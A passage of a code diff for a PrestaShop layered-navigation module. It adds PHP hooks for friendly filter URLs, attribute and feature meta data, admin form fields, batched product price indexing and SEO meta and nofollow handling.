'category_name' => $filter['link_rewrite'], 'type' => $filter['type']); + break; + } + + // Foreach langs + foreach ($attribute_values_by_lang as $id_lang => $attribute_values) + { + // Foreach attributes generate a couple "/_". For example: color_blue + foreach ($attribute_values as $attribute) + foreach ($attribute as $param) + { + $selected_filters = array(); + $link = '/'.str_replace('-', '_', Tools::link_rewrite($param['name'])).'-'.str_replace('-', '_', Tools::link_rewrite($param['value'])); + $selected_filters[$param['type']] = array(); + if (!isset($param['id_id_value'])) + $param['id_id_value'] = $param['id_value']; + $selected_filters[$param['type']][$param['id_id_value']] = $param['id_value']; + $url_key = md5($link); + $id_layered_friendly_url = Db::getInstance()->getValue('SELECT id_layered_friendly_url + FROM `'._DB_PREFIX_.'layered_friendly_url` WHERE `id_lang` = '.$id_lang.' AND `url_key` = \''.$url_key.'\''); + if ($id_layered_friendly_url == false) + { + Db::getInstance()->AutoExecute(_DB_PREFIX_.'layered_friendly_url', array('url_key' => $url_key, 'data' => serialize($selected_filters), 'id_lang' => $id_lang), 'INSERT'); + $id_layered_friendly_url = Db::getInstance()->Insert_ID(); + } + } + } + if ($ajax) + return '{"result": 1}'; + else + return 1; + } + + public function translateWord($string, $id_lang ) + { + static $_MODULES = array(); + global $_MODULE; + + $file = _PS_MODULE_DIR_.$this->name.'/'.Language::getIsoById($id_lang).'.php'; + + if (!array_key_exists($id_lang, $_MODULES)) + { + if (!file_exists($file)) + return $string; + include($file); + $_MODULES[$id_lang] = $_MODULE; + } + + $string = str_replace('\'', '\\\'', $string); + + // set array key to lowercase for 1.3 compatibility + $_MODULES[$id_lang] = array_change_key_case($_MODULES[$id_lang]); + $current_key = '<{'.strtolower( $this->name).'}'.strtolower(_THEME_NAME_).'>'.strtolower($this->name).'_'.md5($string); + $default_key = '<{'.strtolower( $this->name).'}prestashop>'.strtolower($this->name).'_'.md5($string); + + if (isset($_MODULES[$id_lang][$current_key])) + $ret = stripslashes($_MODULES[$id_lang][$current_key]); + else if (isset($_MODULES[$id_lang][Tools::strtolower($current_key)])) + $ret = stripslashes($_MODULES[$id_lang][Tools::strtolower($current_key)]); + else if (isset($_MODULES[$id_lang][$default_key])) + $ret = stripslashes($_MODULES[$id_lang][$default_key]); + else if (isset($_MODULES[$id_lang][Tools::strtolower($default_key)])) + $ret = stripslashes($_MODULES[$id_lang][Tools::strtolower($default_key)]); + else + $ret = stripslashes($string); + + return str_replace('"', '"', $ret); + } + + public function hookProductListAssign($params) + { + global $smarty; + if (version_compare(_PS_VERSION_,'1.5','<') && !Configuration::get('PS_LAYERED_INDEXED') + || version_compare(_PS_VERSION_,'1.5','>') && !Configuration::getGlobalValue('PS_LAYERED_INDEXED')) + return; + // Inform the hook was executed + $params['hookExecuted'] = true; + // List of product to overrride categoryController + $params['catProducts'] = array(); + $selected_filters = $this->getSelectedFilters(); + $filter_block = $this->getFilterBlock($selected_filters); + $title = ''; + if (is_array($filter_block['title_values'])) + foreach ($filter_block['title_values'] as $key => $val) + $title .= ' – '.$key.' '.implode('/', $val); + + $smarty->assign('categoryNameComplement', $title); + $this->getProducts($selected_filters, $params['catProducts'], $params['nbProducts'], $p, $n, $pages_nb, $start, $stop, $range); + // Need a nofollow on the pagination links? + $smarty->assign('no_follow', $filter_block['no_follow']); + } + + public function hookAfterSaveProduct($params) + { + if (!$params['id_product']) + return; + + self::indexProductPrices((int)$params['id_product']); + $this->indexAttribute((int)$params['id_product']); + } + + public function hookAfterSaveFeature($params) + { + if (!$params['id_feature'] || Tools::getValue('layered_indexable') === false) + return; + + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_feature WHERE id_feature = '.(int)$params['id_feature']); + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'layered_indexable_feature VALUES ('.(int)$params['id_feature'].', '.(int)Tools::getValue('layered_indexable').')'); + + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_feature_lang_value WHERE id_feature = '.(int)$params['id_feature']); // don't care about the id_lang + foreach (Language::getLanguages(false) as $language) + { + // Data are validated by method "hookPostProcessFeature" + $id_lang = (int)$language['id_lang']; + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'layered_indexable_feature_lang_value + VALUES ('.(int)$params['id_feature'].', '.$id_lang.', \''.pSQL(Tools::link_rewrite(Tools::getValue('url_name_'.$id_lang))).'\', + \''.pSQL(Tools::getValue('meta_title_'.$id_lang), true).'\')'); + } + } + + public function hookAfterSaveFeatureValue($params) + { + if (!$params['id_feature_value']) + return; + + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_feature_value_lang_value WHERE id_feature_value = '.(int)$params['id_feature_value']); // don't care about the id_lang + foreach (Language::getLanguages(false) as $language) + { + // Data are validated by method "hookPostProcessFeatureValue" + $id_lang = (int)$language['id_lang']; + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'layered_indexable_feature_value_lang_value + VALUES ('.(int)$params['id_feature_value'].', '.$id_lang.', \''.pSQL(Tools::link_rewrite(Tools::getValue('url_name_'.$id_lang))).'\', + \''.pSQL(Tools::getValue('meta_title_'.$id_lang), true).'\')'); + } + } + + public function hookAfterDeleteFeatureValue($params) + { + if (!$params['id_feature_value']) + return; + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_feature_value_lang_value WHERE id_feature_value = '.(int)$params['id_feature_value']); + } + + public function hookPostProcessFeatureValue($params) + { + $this->hookPostProcessAttributeGroup($params); + } + + public function hookFeatureValueForm($params) + { + $languages = Language::getLanguages(false); + $default_form_language = (int)(Configuration::get('PS_LANG_DEFAULT')); + $lang_value = array(); + + if (version_compare(_PS_VERSION_,'1.5','>')) + $return = ' + '; + else + $return = ''; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS( + 'SELECT url_name, meta_title, id_lang FROM '._DB_PREFIX_.'layered_indexable_feature_value_lang_value + WHERE id_feature_value = '.(int)$params['id_feature_value']); + if ($result) + foreach ($result as $data) + $lang_value[$data['id_lang']] = array('url_name' => $data['url_name'], 'meta_title' => $data['meta_title']); + $return .= '
    + +
    + +
    '; + foreach ($languages as $language) + $return .= ' +
    + + '.$this->l('Invalid characters:').' <>;=#{}_  +

    '.$this->l('Specific URL format in block layered generation').'

    +
    '; + if (version_compare(_PS_VERSION_,'1.5','<')) + $return .= $this->displayFlags($languages, $default_form_language, 'flag_fields', 'url_name', true, true); + $return .= ' +
    +
    +
    + +
    +
    '; + foreach ($languages as $language) + $return .= ' +
    + +

    '.$this->l('Specific format for meta title').'

    +
    '; + + if (version_compare(_PS_VERSION_,'1.5','<')) + $return .= $this->displayFlags($languages, $default_form_language, 'flag_fields', 'meta_title', true, true); + $return .= ' +
    +
    +
    '; + return $return; + } + + public function hookAfterSaveAttribute($params) + { + if (!$params['id_attribute']) + return; + + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_attribute_lang_value WHERE id_attribute = '.(int)$params['id_attribute']); // don't care about the id_lang + foreach (Language::getLanguages(false) as $language) + { + // Data are validated by method "hookPostProcessAttribute" + $id_lang = (int)$language['id_lang']; + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'layered_indexable_attribute_lang_value + VALUES ('.(int)$params['id_attribute'].', '.$id_lang.', \''.pSQL(Tools::link_rewrite(Tools::getValue('url_name_'.$id_lang))).'\', + \''.pSQL(Tools::getValue('meta_title_'.$id_lang), true).'\')'); + } + } + + public function hookAfterDeleteAttribute($params) + { + if (!$params['id_attribute']) + return; + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_attribute_lang_value WHERE id_attribute = '.(int)$params['id_attribute']); + } + + public function hookPostProcessAttribute($params) + { + $this->hookPostProcessAttributeGroup($params); + } + + public function hookAttributeForm($params) + { + $languages = Language::getLanguages(false); + $default_form_language = (int)(Configuration::get('PS_LANG_DEFAULT')); + $lang_value = array(); + + if (version_compare(_PS_VERSION_,'1.5','>')) + $return = ' + '; + else + $return = ''; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS( + 'SELECT url_name, meta_title, id_lang FROM '._DB_PREFIX_.'layered_indexable_attribute_lang_value + WHERE id_attribute = '.(int)$params['id_attribute']); + if ($result) + foreach ($result as $data) + $lang_value[$data['id_lang']] = array('url_name' => $data['url_name'], 'meta_title' => $data['meta_title']); + $return .= '
    + +
    + +
    '; + foreach ($languages as $language) + $return .= ' +
    + + '.$this->l('Invalid characters:').' <>;=#{}_  +

    '.$this->l('Specific URL format in block layered generation').'

    +
    '; + if (version_compare(_PS_VERSION_,'1.5','<')) + $return .= $this->displayFlags($languages, $default_form_language, 'flag_fields', 'url_name', true, true); + $return .= ' +
    +
    +
    + +
    +
    '; + foreach ($languages as $language) + $return .= ' +
    + +

    '.$this->l('Specific format for meta title').'

    +
    '; + if (version_compare(_PS_VERSION_,'1.5','<')) + $return .= $this->displayFlags($languages, $default_form_language, 'flag_fields', 'meta_title', true, true); + $return .= ' +
    +
    +
    '; + return $return; + } + + public function hookPostProcessFeature($params) + { + $this->hookPostProcessAttributeGroup($params); + } + + public function hookAfterDeleteFeature($params) + { + if (!$params['id_feature']) + return; + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_feature WHERE id_feature = '.(int)$params['id_feature']); + } + + public function hookAfterSaveAttributeGroup($params) + { + if (!$params['id_attribute_group'] || Tools::getValue('layered_indexable') === false) + return; + + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_attribute_group WHERE id_attribute_group = '.(int)$params['id_attribute_group']); + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'layered_indexable_attribute_group VALUES ('.(int)$params['id_attribute_group'].', '.(int)Tools::getValue('layered_indexable').')'); + + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_attribute_group_lang_value WHERE id_attribute_group = '.(int)$params['id_attribute_group']); // don't care about the id_lang + foreach (Language::getLanguages(false) as $language) + { + // Data are validated by method "hookPostProcessAttributeGroup" + $id_lang = (int)$language['id_lang']; + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'layered_indexable_attribute_group_lang_value + VALUES ('.(int)$params['id_attribute_group'].', '.$id_lang.', \''.pSQL(Tools::link_rewrite(Tools::getValue('url_name_'.$id_lang))).'\', + \''.pSQL(Tools::getValue('meta_title_'.$id_lang), true).'\')'); + } + } + + public function hookPostProcessAttributeGroup($params) + { + // Limit to one call + static $once = false; + if ($once) + return; + $once = true; + + $errors = array(); + foreach (Language::getLanguages(false) as $language) + { + $id_lang = $language['id_lang']; + if (Tools::getValue('url_name_'.$id_lang)) + if (Tools::link_rewrite(Tools::getValue('url_name_'.$id_lang)) != strtolower( Tools::getValue('url_name_'.$id_lang))) + { + // Here use the reference "errors" to stop saving process + $params['errors'][] = Tools::displayError(sprintf($this->l('"%s" is not a valid url'), Tools::getValue('url_name_'.$id_lang))); + } + } + } + + public function hookAfterDeleteAttributeGroup($params) + { + if (!$params['id_attribute_group']) + return; + + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_attribute_group WHERE id_attribute_group = '.(int)$params['id_attribute_group']); + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_indexable_attribute_group_lang_value WHERE id_attribute_group = '.(int)$params['id_attribute_group']); + } + + public function hookAttributeGroupForm($params) + { + $languages = Language::getLanguages(false); + $default_form_language = (int)(Configuration::get('PS_LANG_DEFAULT')); + $indexable = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT indexable FROM '._DB_PREFIX_.'layered_indexable_attribute_group + WHERE id_attribute_group = '.(int)$params['id_attribute_group']); + $lang_value = array(); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS( + 'SELECT url_name, meta_title, id_lang FROM '._DB_PREFIX_.'layered_indexable_attribute_group_lang_value + WHERE id_attribute_group = '.(int)$params['id_attribute_group']); + if ($result) + foreach ($result as $data) + $lang_value[$data['id_lang']] = array('url_name' => $data['url_name'], 'meta_title' => $data['meta_title']); + + if ($indexable === false) + $on = true; + else + $on = (bool)$indexable; + + if (version_compare(_PS_VERSION_,'1.5','>')) + $return = ' + '; + else + $return = ''; + + $return .= '
    + +
    + +
    '; + foreach ($languages as $language) + $return .= ' +
    + + '.$this->l('Invalid characters:').' <>;=#{}_  +

    '.$this->l('Specific URL format in block layered generation').'

    +
    '; + if (version_compare(_PS_VERSION_,'1.5','<')) + $return .= $this->displayFlags($languages, $default_form_language, 'flag_fields', 'url_name', true, true); + $return .= ' +
    +
    +
    + +
    +
    '; + foreach ($languages as $language) + $return .= ' +
    + +

    '.$this->l('Specific format for meta title').'

    +
    '; + if (version_compare(_PS_VERSION_,'1.5','<')) + $return .= $this->displayFlags($languages, $default_form_language, 'flag_fields', 'meta_title', true, true); + $return .= ' +
    +
    +
    + +
    + + + + +

    '.$this->l('Use this attribute in URL generated by the layered navigation module').'

    +
    '; + return $return; + } + + public function hookFeatureForm($params) + { + $languages = Language::getLanguages(false); + $default_form_language = (int)(Configuration::get('PS_LANG_DEFAULT')); + $indexable = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT indexable FROM '._DB_PREFIX_.'layered_indexable_feature WHERE id_feature = '.(int)$params['id_feature']); + $lang_value = array(); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS( + 'SELECT url_name, meta_title, id_lang FROM '._DB_PREFIX_.'layered_indexable_feature_lang_value + WHERE id_feature = '.(int)$params['id_feature']); + if ($result) + foreach ($result as $data) + $lang_value[$data['id_lang']] = array('url_name' => $data['url_name'], 'meta_title' => $data['meta_title']); + + + if ($indexable === false) + $on = true; + else + $on = (bool)$indexable; + + if (version_compare(_PS_VERSION_,'1.5','>')) + $return = ' + '; + else + $return = ''; + + $return .= '
    + +
    + +
    '; + foreach ($languages as $language) + $return .= ' +
    + + '.$this->l('Invalid characters:').' <>;=#{}_  +

    '.$this->l('Specific URL format in block layered generation').'

    +
    '; + if (version_compare(_PS_VERSION_,'1.5','<')) + $return .= $this->displayFlags($languages, $default_form_language, 'flag_fields', 'url_name', true, true); + $return .= ' +
    +
    +
    + +
    +
    '; + foreach ($languages as $language) + $return .= ' +
    + +

    '.$this->l('Specific format for meta title').'

    +
    '; + if (version_compare(_PS_VERSION_,'1.5','<')) + $return .= $this->displayFlags($languages, $default_form_language, 'flag_fields', 'meta_title', true, true); + $return .= ' +
    +
    +
    + +
    + + + + +

    '.$this->l('Use this attribute in URL generated by the layered navigation module').'

    +
    '; + return $return; + } + + /* + * $cursor $cursor in order to restart indexing from the last state + */ + public static function fullPricesIndexProcess($cursor = 0, $ajax = false, $smart = false) + { + if ($cursor == 0 && !$smart) + self::installPriceIndexTable(); + + return self::indexPrices($cursor, true, $ajax, $smart); + } + + /* + * $cursor $cursor in order to restart indexing from the last state + */ + public static function pricesIndexProcess($cursor = 0, $ajax = false) + { + return self::indexPrices($cursor, false, $ajax); + } + + private static function indexPrices($cursor = null, $full = false, $ajax = false, $smart = false) + { + if ($full) + if (version_compare(_PS_VERSION_,'1.5','>')) + $nb_products = (int)Db::getInstance()->getValue(' + SELECT count(DISTINCT p.`id_product`) + FROM '._DB_PREFIX_.'product p + INNER JOIN `'._DB_PREFIX_.'product_shop` ps + ON (ps.`id_product` = p.`id_product` AND ps.`active` = 1)'); + else + $nb_products = (int)Db::getInstance()->getValue(' + SELECT count(DISTINCT p.`id_product`) + FROM '._DB_PREFIX_.'product p + WHERE `active` = 1'); + else + if (version_compare(_PS_VERSION_,'1.5','>')) + $nb_products = (int)Db::getInstance()->getValue(' + SELECT COUNT(DISTINCT p.`id_product`) FROM `'._DB_PREFIX_.'product` p + INNER JOIN `'._DB_PREFIX_.'product_shop` ps + ON (ps.`id_product` = p.`id_product` AND ps.`active` = 1) + LEFT JOIN `'._DB_PREFIX_.'layered_price_index` psi ON (psi.id_product = p.id_product) + WHERE psi.id_product IS NULL'); + else + $nb_products = (int)Db::getInstance()->getValue(' + SELECT COUNT(DISTINCT p.`id_product`) FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'layered_price_index` psi ON (psi.id_product = p.id_product) + WHERE `active` = 1 AND psi.id_product IS NULL'); + + $max_executiontime = @ini_get('max_execution_time'); + if ($max_executiontime > 5 || $max_executiontime <= 0) + $max_executiontime = 5; + + $start_time = microtime(true); + + do + { + $cursor = (int)self::indexPricesUnbreakable((int)$cursor, $full, $smart); + $time_elapsed = microtime(true) - $start_time; + } + while ($cursor < $nb_products && (Tools::getMemoryLimit()) > memory_get_peak_usage() && $time_elapsed < $max_executiontime); + + if (($nb_products > 0 && !$full || $cursor < $nb_products && $full) && !$ajax) + { + $token = substr(Tools::encrypt('blocklayered/index'), 0, 10); + if (Tools::usingSecureMode()) + $domain = Tools::getShopDomainSsl(true); + else + $domain = Tools::getShopDomain(true); + + if (!Tools::file_get_contents($domain.__PS_BASE_URI__.'modules/blocklayered/blocklayered-price-indexer.php?token='.$token.'&cursor='.(int)$cursor.'&full='.(int)$full)) + self::indexPrices((int)$cursor, (int)$full); + return $cursor; + } + if ($ajax && $nb_products > 0 && $cursor < $nb_products && $full) + return '{"cursor": '.$cursor.', "count": '.($nb_products - $cursor).'}'; + else if ($ajax && $nb_products > 0 && !$full) + return '{"cursor": '.$cursor.', "count": '.($nb_products).'}'; + else + { + if (version_compare(_PS_VERSION_,'1.5','>')) + Configuration::updateGlobalValue('PS_LAYERED_INDEXED', 1); + else + Configuration::updateValue('PS_LAYERED_INDEXED', 1); + + if ($ajax) + return '{"result": "ok"}'; + else + return -1; + } + } + + /* + * $cursor $cursor in order to restart indexing from the last state + */ + private static function indexPricesUnbreakable($cursor, $full = false, $smart = false) + { + static $length = 100; // Nb of products to index + + if (is_null($cursor)) + $cursor = 0; + + if ($full) + if (version_compare(_PS_VERSION_,'1.5','>')) + $query = ' + SELECT p.`id_product` + FROM `'._DB_PREFIX_.'product` p + INNER JOIN `'._DB_PREFIX_.'product_shop` ps + ON (ps.`id_product` = p.`id_product` AND ps.`active` = 1) + GROUP BY p.`id_product` + ORDER BY p.`id_product` LIMIT '.(int)$cursor.','.(int)$length; + else + $query = ' + SELECT p.`id_product` + FROM `'._DB_PREFIX_.'product` p + WHERE `active` = 1 + GROUP BY p.`id_product` + ORDER BY p.`id_product` LIMIT '.(int)$cursor.','.(int)$length; + else + if (version_compare(_PS_VERSION_,'1.5','>')) + $query = ' + SELECT p.`id_product` + FROM `'._DB_PREFIX_.'product` p + INNER JOIN `'._DB_PREFIX_.'product_shop` ps + ON (ps.`id_product` = p.`id_product` AND ps.`active` = 1) + LEFT JOIN `'._DB_PREFIX_.'layered_price_index` psi ON (psi.id_product = p.id_product) + WHERE psi.id_product IS NULL + GROUP BY p.`id_product` + ORDER BY p.`id_product` LIMIT 0,'.(int)$length; + else + $query = ' + SELECT p.`id_product` + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'layered_price_index` psi ON (psi.id_product = p.id_product) + WHERE `active` = 1 AND psi.id_product IS NULL + GROUP BY p.`id_product` + ORDER BY p.`id_product` LIMIT 0,'.(int)$length; + + foreach (Db::getInstance()->executeS($query) as $product) + self::indexProductPrices((int)$product['id_product'], ($smart && $full)); + + return (int)($cursor + $length); + } + + public static function indexProductPrices($id_product, $smart = true) + { + static $groups = null; + + if (is_null($groups)) + { + $groups = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT id_group FROM `'._DB_PREFIX_.'group_reduction`'); + if (!$groups) + $groups = array(); + } + + $shop_list = array(); + if (version_compare(_PS_VERSION_,'1.5','>')) + $shop_list = Shop::getShops(false, null, true); + else + $shop_list[] = 0; + + foreach ($shop_list as $id_shop) + { + static $currency_list = null; + + if (is_null($currency_list)) + { + if (version_compare(_PS_VERSION_,'1.5','>')) + $currency_list = Currency::getCurrencies(false, 1, new Shop($id_shop)); + else + $currency_list = Currency::getCurrencies(false, 1); + } + + $min_price = array(); + $max_price = array(); + + if ($smart) + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'layered_price_index` WHERE `id_product` = '.(int)$id_product.' AND `id_shop` = '.(int)$id_shop); + + if (Configuration::get('PS_LAYERED_FILTER_PRICE_USETAX')) + { + if (version_compare(_PS_VERSION_,'1.5','>')) + $max_tax_rate = Db::getInstance()->getValue(' + SELECT max(t.rate) max_rate + FROM `'._DB_PREFIX_.'product_shop` p + LEFT JOIN `'._DB_PREFIX_.'tax_rules_group` trg ON (trg.id_tax_rules_group = p.id_tax_rules_group AND p.id_shop = '.(int)$shop_list.') + LEFT JOIN `'._DB_PREFIX_.'tax_rule` tr ON (tr.id_tax_rules_group = trg.id_tax_rules_group) + LEFT JOIN `'._DB_PREFIX_.'tax` t ON (t.id_tax = tr.id_tax AND t.active = 1) + WHERE id_product = '.(int)$id_product.' + GROUP BY id_product'); + else + $max_tax_rate = Db::getInstance()->getValue(' + SELECT max(t.rate) max_rate + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'tax_rules_group` trg ON (trg.id_tax_rules_group = p.id_tax_rules_group) + LEFT JOIN `'._DB_PREFIX_.'tax_rule` tr ON (tr.id_tax_rules_group = trg.id_tax_rules_group) + LEFT JOIN `'._DB_PREFIX_.'tax` t ON (t.id_tax = tr.id_tax AND t.active = 1) + WHERE id_product = '.(int)$id_product.' + GROUP BY id_product'); + } + else + $max_tax_rate = 0; + + $product_min_prices = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_shop, id_currency, id_country, id_group, from_quantity + FROM `'._DB_PREFIX_.'specific_price` + WHERE id_product = '.(int)$id_product); + + // Get min price + foreach ($currency_list as $currency) + { + $price = Product::priceCalculation($id_shop, (int)$id_product, null, null, null, null, + $currency['id_currency'], null, null, false, 6, false, true, true, + $specific_price_output, true); + + if (!isset($max_price[$currency['id_currency']])) + $max_price[$currency['id_currency']] = 0; + if (!isset($min_price[$currency['id_currency']])) + $min_price[$currency['id_currency']] = null; + if ($price > $max_price[$currency['id_currency']]) + $max_price[$currency['id_currency']] = $price; + if ($price == 0) + continue; + if (is_null($min_price[$currency['id_currency']]) || $price < $min_price[$currency['id_currency']]) + $min_price[$currency['id_currency']] = $price; + } + + foreach ($product_min_prices as $specific_price) + foreach ($currency_list as $currency) + { + if ($specific_price['id_currency'] && $specific_price['id_currency'] != $currency['id_currency']) + continue; + $price = Product::priceCalculation((($specific_price['id_shop'] == 0) ? null : (int)$specific_price['id_shop']), (int)$id_product, + null, (($specific_price['id_country'] == 0) ? null : $specific_price['id_country']), null, null, + $currency['id_currency'], (($specific_price['id_group'] == 0) ? null : $specific_price['id_group']), + $specific_price['from_quantity'], false, 6, false, true, true, $specific_price_output, true); + + if (!isset($max_price[$currency['id_currency']])) + $max_price[$currency['id_currency']] = 0; + if (!isset($min_price[$currency['id_currency']])) + $min_price[$currency['id_currency']] = null; + if ($price > $max_price[$currency['id_currency']]) + $max_price[$currency['id_currency']] = $price; + if ($price == 0) + continue; + if (is_null($min_price[$currency['id_currency']]) || $price < $min_price[$currency['id_currency']]) + $min_price[$currency['id_currency']] = $price; + } + + foreach ($groups as $group) + foreach ($currency_list as $currency) + { + $price = Product::priceCalculation(null, (int)$id_product, null, null, null, null, (int)$currency['id_currency'], (int)$group['id_group'], + null, false, 6, false, true, true, $specific_price_output, true); + + if (!isset($max_price[$currency['id_currency']])) + $max_price[$currency['id_currency']] = 0; + if (!isset($min_price[$currency['id_currency']])) + $min_price[$currency['id_currency']] = null; + if ($price > $max_price[$currency['id_currency']]) + $max_price[$currency['id_currency']] = $price; + if ($price == 0) + continue; + if (is_null($min_price[$currency['id_currency']]) || $price < $min_price[$currency['id_currency']]) + $min_price[$currency['id_currency']] = $price; + } + + $values = array(); + foreach ($currency_list as $currency) + $values[] = '('.(int)$id_product.', + '.(int)$currency['id_currency'].', + '.$id_shop.', + '.(int)$min_price[$currency['id_currency']].', + '.(int)Tools::ps_round($max_price[$currency['id_currency']] * (100 + $max_tax_rate) / 100, 0).')'; + + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'layered_price_index` (id_product, id_currency, id_shop, price_min, price_max) + VALUES '.implode(',', $values).' + ON DUPLICATE KEY UPDATE id_product = id_product # avoid duplicate keys'); + } + } + + public function hookLeftColumn($params) + { + return $this->generateFiltersBlock($this->getSelectedFilters()); + } + + public function hookRightColumn($params) + { + return $this->hookLeftColumn($params); + } + + public function hookHeader($params) + { + global $smarty, $cookie; + + // No filters => module disable + if ($filter_block = $this->getFilterBlock($this->getSelectedFilters())) + if ($filter_block['nbr_filterBlocks'] == 0) + return false; + + if (Tools::getValue('id_category', Tools::getValue('id_category_layered', 1)) == 1) + return; + + $id_lang = (int)$cookie->id_lang; + $category = new Category((int)Tools::getValue('id_category')); + + // Generate meta title and meta description + $category_title = (empty($category->meta_title[$id_lang]) ? $category->name[$id_lang] : $category->meta_title[$id_lang]); + $title = ''; + $description = ''; + $keywords = ''; + if (is_array($filter_block['meta_values'])) + foreach ($filter_block['meta_values'] as $key => $val) + { + if (!empty($val['title'])) + $val['title'] = $val['title'].' '; + + foreach ($val['values'] as $value) + { + $title .= $category_title.' '.$val['title'].$value.' - '; + $description .= $category_title.' '.$val['title'].$value.', '; + $keywords .= $val['title'].$value.', '; + } + } + // Title attributes (ex: / - ) + $title = strtolower(rtrim(substr($title, 0, -3))); + // Title attributes (ex: /, ) + $description = strtolower(rtrim(substr($description, 0, -2))); + // kewords attributes (ex: , , ) + if (version_compare(_PS_VERSION_, '1.5', '>')) + $category_metas = Meta::getMetaTags($id_lang, 'category', $title); + else + $category_metas = Tools::getMetaTags($id_lang, '', $title); + + if (!empty($title)) + { + $smarty->assign('meta_title', ucfirst(substr($category_metas['meta_title'], 3))); + $smarty->assign('meta_description', $description.'. '.$category_metas['meta_description']); + } + else + $smarty->assign('meta_title', $category_metas['meta_title']); + + $keywords = substr(strtolower($keywords), 0, 1000); + if (!empty($keywords)) + $smarty->assign('meta_keywords', rtrim($category_title.', '.$keywords.', '.$category_metas['meta_keywords'], ', ')); + + if (version_compare(_PS_VERSION_, '1.5', '>')) + { + $this->context->controller->addJS(($this->_path).'blocklayered.js'); + $this->context->controller->addJS(_PS_JS_DIR_.'jquery/jquery-ui-1.8.10.custom.min.js'); + $this->context->controller->addJQueryUI('ui.slider'); + $this->context->controller->addCSS(($this->_path).'blocklayered-15.css', 'all'); + $this->context->controller->addJQueryPlugin('scrollTo'); + } + else + { + Tools::addJS(($this->_path).'blocklayered.js'); + Tools::addJS(_PS_JS_DIR_.'jquery/jquery-ui-1.8.10.custom.min.js'); + Tools::addCSS(_PS_CSS_DIR_.'jquery-ui-1.8.10.custom.css', 'all'); + Tools::addCSS(($this->_path).'blocklayered.css', 'all'); + Tools::addJS(_PS_JS_DIR_.'jquery/jquery.scrollTo-1.4.2-min.js'); + } + + $filters = $this->getSelectedFilters(); + + // Get non indexable attributes + $attribute_group_list = Db::getInstance()->executeS('SELECT id_attribute_group FROM '._DB_PREFIX_.'layered_indexable_attribute_group WHERE indexable = 0'); + // Get non indexable features + $feature_list = Db::getInstance()->executeS('SELECT id_feature FROM '._DB_PREFIX_.'layered_indexable_feature WHERE indexable = 0'); + + $attributes = array(); + $features = array(); + + $blacklist = array('weight', 'price'); + if (!Configuration::get('PS_LAYERED_FILTER_INDEX_CDT')) + $blacklist[] = 'condition'; + if (!Configuration::get('PS_LAYERED_FILTER_INDEX_QTY')) + $blacklist[] = 'quantity'; + if (!Configuration::get('PS_LAYERED_FILTER_INDEX_MNF')) + $blacklist[] = 'manufacturer'; + if (!Configuration::get('PS_LAYERED_FILTER_INDEX_CAT')) + $blacklist[] = 'category'; + + foreach ($filters as $type => $val) + { + switch ($type) + { + case 'id_attribute_group': + foreach ($val as $attr) + { + $attr_id = preg_replace('/_\d+$/', '', $attr); + if (in_array($attr_id, $attributes) || in_array(array('id_attribute_group' => $attr_id), $attribute_group_list)) + { + $smarty->assign('nobots', true); + $smarty->assign('nofollow', true); + return; + } + $attributes[] = $attr_id; + } + break; + case 'id_feature': + foreach ($val as $feat) + { + $feat_id = preg_replace('/_\d+$/', '', $feat); + if (in_array($feat_id, $features) || in_array(array('id_feature' => $feat_id), $feature_list)) + { + $smarty->assign('nobots', true); + $smarty->assign('nofollow', true); + return; + } + $features[] = $feat_id; + } + break; + default: + if (in_array($type, $blacklist)) + { + if (count($val)) + { + $smarty->assign('nobots', true); + $smarty->assign('nofollow', true); + return; + } + } + elseif (count($val) > 1) + { + $smarty->assign('nobots', true); + $smarty->assign('nofollow', true); + return; + } + break; + } + } + } + + public function hookFooter($params) + { + // No filters => module disable + if ($filter_block = $this->getFilterBlock($this->getSelectedFilters())) + if ($filter_block['nbr_filterBlocks'] == 0) + return false; + + if (basename($_SERVER['PHP_SELF']) == 'category.php' && version_compare(_PS_VERSION_, '1.5', '<') + || version_compare(_PS_VERSION_, '1.5', '>') && Dispatcher::getInstance()->getController() == 'category') + return ' + '; + } + + public function hookCategoryAddition($params) + { + $this->rebuildLayeredCache(array(), array((int)$params['category']->id)); + } + + public function hookCategoryUpdate($params) + { + /* The category status might (active, inactive) have changed, we have to update the layered cache table structure */ + if (isset($params['category']) && !$params['category']->active) + $this->hookCategoryDeletion($params); + } + + public function hookCategoryDeletion($params) + { + $layered_filter_list = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'layered_filter'); + foreach ($layered_filter_list as $layered_filter) + { + $data = self::unSerialize($layered_filter['filters']); + if (in_array((int)$params['category']->id, $data['categories'])) + { + unset($data['categories'][array_search((int)$params['category']->id, $data['categories'])]); + 